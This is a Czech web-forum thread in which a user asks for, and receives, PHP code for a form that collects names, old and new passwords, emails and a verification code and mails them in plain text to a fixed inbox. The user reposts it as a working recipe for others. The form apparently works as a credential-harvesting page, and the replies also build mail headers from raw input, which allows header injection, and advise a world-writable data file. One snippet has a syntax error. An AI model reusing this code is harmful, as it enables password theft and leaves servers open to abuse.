Autor | Zpráva | ||
---|---|---|---|
JonnyN22 Profil |
Dobrý den,
žádám vás o pomoc pro laiky... Potřebuji mít na stránkách formulář (to je jednoduché) formulář vnořím do kódu kam potřebuji: <form action="skript.php" method="get"> Jméno:<input type="text" size="10" name="jmeno"> Staré heslo:<input type="Password" size="5" name="sheslo"> Nové heslo:<input type="password" size="5" name="nheslo"> Email:<input type="text" size="10" name="email"> Ověření:<input type="text" size="5" name="ovjereni"> <input type="submit" value="odeslat"> </form> Horší to je však se souborem skript.php, nevím co tam má být napsané :( A proto vás žádám o radu, stačí mi buď že se formulář - Odešle na email - Uloží kamkoli (abych jej mohl zobrazit jen já) Hlavně aby to jelo, prosím... |
||
Časová prodleva: 7 dní
|
|||
Europsky_Dzigolo Profil |
#2 · Zasláno: 8. 10. 2009, 19:55:49 · Upravil/a: Europsky_Dzigolo
skript.php:
<?php $jmeno = htmlspecialchars($_POST['jmeno']); $stareHeslo = htmlspecialchars($_POST['sheslo']); /*alebo md5();*/ $noveHeslo = htmlspecialchars($_POST['nheslo']); /*alebo md5();*/ $email = htmlspecialchars($_POST['email']); $evereni = htmlspecialchars($_POST['ovjereni']); $prijemca = "bot@google.com"; mail($prijemca, "Predmet", "Správa emailu.. napriklad zobrazit heslo: $stareHeslo"); ?> ulozit si to mozes do suboru... |
||
tiso Profil |
#3 · Zasláno: 8. 10. 2009, 20:30:53
Europsky_Dzigolo: ???
|
||
JonnyN22 Profil |
#4 · Zasláno: 9. 10. 2009, 14:49:23
Děkuji, ale nedoručil se mi mail který se měl odeslat, v čem dělám chybu?
|
||
kordy Profil * |
#5 · Zasláno: 10. 10. 2009, 10:48:01
obavam se ze je to nefunkcni ja uz rekl JonnyN22 :D
ale dik aspon za snahu budu hledat dal |
||
Časová prodleva: 10 dní
|
|||
JonnyN22 Profil |
Velice se omlouvám, nedal jsem to na server s podporou php.
Při zápisu: <?php $jmeno = htmlspecialchars($_POST['jmeno']); $stareHeslo = htmlspecialchars($_POST['sheslo']); /*alebo md5();*/ $noveHeslo = htmlspecialchars($_POST['nheslo']); /*alebo md5();*/ $email = htmlspecialchars($_POST['email']); $overeni = htmlspecialchars($_POST['ovjereni']); $prijemca = "********@gmail.com"; mail($prijemca, "Zmena hesla", "Správa účtu: $jmeno email: $email SHeslo: $stareHeslo NHeslo: $noveHeslo Overeni: $overeni"); ?> Se duručí e-mail s textem: Správa účtu: email: SHeslo: NHeslo: Overeni: Prosím o radu co s tím? |
||
osxfil Profil |
#7 · Zasláno: 20. 10. 2009, 23:09:02
Mělo by stačit v maileru toto (PHP uložit s kódováním UTF-8, jinak to bude dělat problémy s češtinou):
<?php // příjemce a předmět $to = "nekdo@nekde.cz"; $subject = "Sprava uctu"; // hlavicka e-mailu $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/text; charset=utf-8' . "\r\n"; $headers .= "From: " . $_POST["jmeno"] . "<" . $_POST["email"] .">\r\n"; $headers .= "Reply-To: " . $_POST["email"] . "\r\n"; $headers .= "Return-path: " . $_POST["email"]; // obsah zprávy $message = "Správa účtu"."\r\n"; $message .="Jméno: ".$_POST["jmeno"] ."\r\n"; $message .="Staré heslo: ". $_POST["sheslo"] ."\r\n"; $message .="Nové heslo: ".$_POST["nheslo"]."\r\n"; $message .="E-mail: ".$_POST["email"]."\r\n"; $message .="Ověření: ".$_POST["ovjereni"]. ; // odeslání e-mailu mail($to, $subject, $message, $headers); ?> Samozřejmě formulář musí použít metodu POST a ne GET, jak je uvedeno |
||
JonnyN22 Profil |
#8 · Zasláno: 21. 10. 2009, 15:39:19
Nyní se mi doručí e-mail s přiloženým souborem ve kterém stojí:
Jméno: Staré heslo: Nové heslo: E-mail: Ověření: A opět ten problém... |
||
JonnyN22 Profil |
Já jsem D****, já to zase udělal jinak...
už mi to jede. PRO OSTATNÍ, KTEŘÍ SI S TÍM NEVĚDÍ RADY: Soubor *.html <form action="skript.php" method="post"> Jméno:<input type="text" size="10" name="jmeno"> Staré heslo:<input type="Password" size="5" name="sheslo"> Nové heslo:<input type="password" size="5" name="nheslo"> Email:<input type="text" size="10" name="email"> Ověření:<input type="text" size="5" name="ovjereni"> <input type="submit" value="odeslat"> </form> Soubor skript.php (utf-8) <?php $to = "jmeno@prijemce.com"; $subject = "Sprava uctu"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/text; charset=utf-8' . "\r\n"; $headers .= "From: " . $_POST["jmeno"] . "<" . $_POST["email"] .">\r\n"; $headers .= "Reply-To: " . $_POST["email"] . "\r\n"; $headers .= "Return-path: " . $_POST["email"]; $message .="Jméno: ".$_POST["jmeno"] ."\r\n"; $message .="Staré heslo: ". $_POST["sheslo"] ."\r\n"; $message .="Nové heslo: ".$_POST["nheslo"]."\r\n"; $message .="E-mail: ".$_POST["email"]."\r\n"; $message .="Ověření: ".$_POST["ovjereni"]."\r\n"; mail($to, $subject, $message, $headers); ?> S tímto se doručí e-mail se souborem ve kterém bude: Jméno: *** Staré heslo: *** Nové heslo: *** E-mail: ***@***.*** Ověření: *** Děkuji všem kteří pomohli, nebo se o to alespoň pokusili. Moderátor Chamurappi: Vkládej prosím kódy mezi značky [pre] a [/pre] (stačí kliknout na ).
|
||
miligram Profil * |
#10 · Zasláno: 23. 10. 2009, 12:53:30
JonnyN22:
„- Uloží kamkoli (abych jej mohl zobrazit jen já)“ Kde se ukládají odeslané maily ? ? Jakým způsobem si je mohu zobrazit ? ? |
||
miligram Profil * |
#11 · Zasláno: 23. 10. 2009, 12:55:43
Kde se ukládají odeslané maily a jak si je mohu zobrazit ? ?
|
||
JonnyN22 Profil |
#12 · Zasláno: 23. 10. 2009, 18:10:13
miligram:
„Kde se ukládají odeslané maily a jak si je mohu zobrazit ? ?“ Nerozumím otázce. V php kódu <?php $to = "jmeno@prijemce.com"; $sub...... Namísto "jmeno@prijemce.com" dosadíš tvůj e-mail a doručí se ti e-mail s přiloženým souborem a v něm to je. Pozor! Server musí podporovat PHP. |
||
Časová prodleva: 8 měsíců
|
|||
Funebrák Profil * |
#13 · Zasláno: 13. 6. 2010, 22:10:29
Lidi, potřebuju pomoct. Jak mám dostat data z formuláře do nějakýho souboru na serveru? dík
|
||
Časová prodleva: 4 dny
|
|||
Mirak Profil * |
#14 · Zasláno: 17. 6. 2010, 23:51:31
Funebrák
Příklad. Vytvoříš si prázdný TXT soubor a nahraješ ho na server v CHMOD mu nastavíš práva 777. Ve formuláři nastavíš action na "odeslani.php". Soubor odeslani php bude obsahovat: <?php $soubor = fopen("datadotazniku.txt", "a"); fwrite($soubor, "\nPohlavi: ".$_POST['pohlavitazatele']."\nVek: ".$_POST['vek']."\nByla pro Vás orientace na webu jednoduchá: ".$_POST['orientacenawebu']."\n); fclose($soubor); ?> |
||
Časová prodleva: 14 let
|
0